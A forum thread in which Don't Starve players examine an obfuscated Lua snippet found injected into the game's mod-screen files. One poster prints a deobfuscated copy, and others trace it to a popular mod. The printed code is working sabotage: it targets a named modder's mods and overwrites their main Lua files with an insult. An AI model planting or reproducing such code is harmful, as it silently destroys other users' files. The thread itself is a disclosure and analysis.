A mysterious "wtxt12" function and a mysterious "翼语 " modder

[skittles sour]

  I was looking through my copies of the DS game files today when I noticed this mysterious function hanging about the following files: screens/modsscreen.lua and modindex.lua.

 local wtxt12 = function(p, txt)      local fo = io.open      local f, err = fo(p, "w" )      if err then      else          f:write(txt)          f:close()      end  end  local key1 = "\121\105\121\117" local key2 = "\231\191\188\232\175\173" local sbwss={ "642704851", "701574438", "834039799", "845740921", "1088165487", "1161719409", "1546144229", "1559975778", "1626938843", "1656314475", "1656333678", "1883082987",  "2199037549203167410", "2199037549203167802", "2199037549203167776", "2199037549203167775", "2199037549203168585", } local sbstr = "\229\155\160\230\129\182\230\132\143\231\175\161\230\148\185\228\187\150\228\186\186\109\111\100\232\162\171\229\176\129\231\166\129\239\188\140\230\138\181\229\136\182\115\98\228\189\156\232\128\133\239\188\129" local CheckSB = function (name) if name and (string.find(string.lower(name), key1 , 1, true) or string.find(string.lower(name), key2 , 1, true)) then return true end for k,v in pairs(sbwss) do if name and name=="workshop-"..v then return true end end return false end local AntiSB = function (name) local file1 = "../mods/"..name.."/modmain.lua" local file2 = "../mods/"..name.."/modworldgenmain.lua" wtxt12(file1, sbstr ) wtxt12(file2, sbstr ) end  local mn = self.modnames[self.currentmod] local minfo = KnownModIndex:GetModInfo(mn) if CheckSB(mn) or CheckSB(minfo.author) then AntiSB(mn) return end 

In the modindex.lua file it was right at the end and in the modsscreen file its right at the start of EnableCurrent function. The lines between the functions of the file were also deleted.

I looked through the list of mod IDs that are in the table and they're all traced to this modder: https://steamcommunity.com/id/yiyus. Either to attack this modder or to defend his mods.

I do not recall pasting this obfuscated chunk into my files at all! I rechecked my real game files and the two files seemed untouched - but this might be because I redownloaded the game recently, after having had some trouble with the workshop (which might have be the fault of this).

There has to have been a mod that hacked into the game files or something I think? Does anyone have any clues on this? Either that or someone hacked into the iClouds Drive where I store my copy of the game files.

Edited December 3, 2021 by Bad Willow

[CarlZalph]

@Bad Willow

Do you have a list of mods you subscribed to?

Because this thing is malicious and will actively destroy the mods in that list if the user has them installed.

Readable code:

Spoiler

local wtxt12 = function(p, txt)
    local fo = io.open
    local f, err = fo(p, "w")
    if err
    then
    else
        f:write(txt)
        f:close()
    end
end
local key1 = "yiyu"
local key2 = "翼语"
local sbwss={
    "642704851",
    "701574438",
    "834039799",
    "845740921",
    "1088165487",
    "1161719409",
    "1546144229",
    "1559975778",
    "1626938843",
    "1656314475",
    "1656333678",
    "1883082987",
    "2199037549203167410",
    "2199037549203167802",
    "2199037549203167776",
    "2199037549203167775",
    "2199037549203168585",
}
local sbstr = "因恶意篡改他人mod被封禁，抵制sb作者！"
local CheckSB = function(name)
    if name and (string.find(string.lower(name), key1 , 1, true) or string.find(string.lower(name), key2 , 1, true))
    then
        return true
    end
    for k,v in pairs(sbwss)
    do
        if name and name=="workshop-"..v
        then
            return true
        end
    end
    return false
end
local AntiSB = function(name)
    local file1 = "../mods/" .. name .. "/modmain.lua"
    local file2 = "../mods/" .. name .. "/modworldgenmain.lua"
    wtxt12(file1, sbstr)
    wtxt12(file2, sbstr)
end
local mn = self.modnames[self.currentmod]
local minfo = KnownModIndex:GetModInfo(mn)
if CheckSB(mn) or CheckSB(minfo.author)
then
    AntiSB(mn)
    return
end

 

 

[penguin0616]

@CarlZalph @Bad Willow

If I remember correctly, this is done in one of DYC's mods (the Simple Health Bar guy) in order to attack the mods of the person you linked to.
I also remember looking into it, I think they had some kind of quarrel over a Super Wall Mod and it escalated?

I could be remembering this wrong, but I definitely remember finding this and the responsible mod..

Edit: Yep, it's Simple Health Bar. https://steamcommunity.com/sharedfiles/filedetails/?id=1608490902

Here's a relevant snippet from modmain.lua. Those mod IDs are the same in the sbwss table Carl provided:

Edited December 4, 2021 by penguin0616
found it

[skittles sour]

That is very convincing evidence. Also yes I did indeed subscribe to Simple Health Bar a long time ago and unsubscribed to it. And then, Simple Health Bar is also obfuscated.

[KXWl1]

The two guys ruin mods, I feel ashamed for them.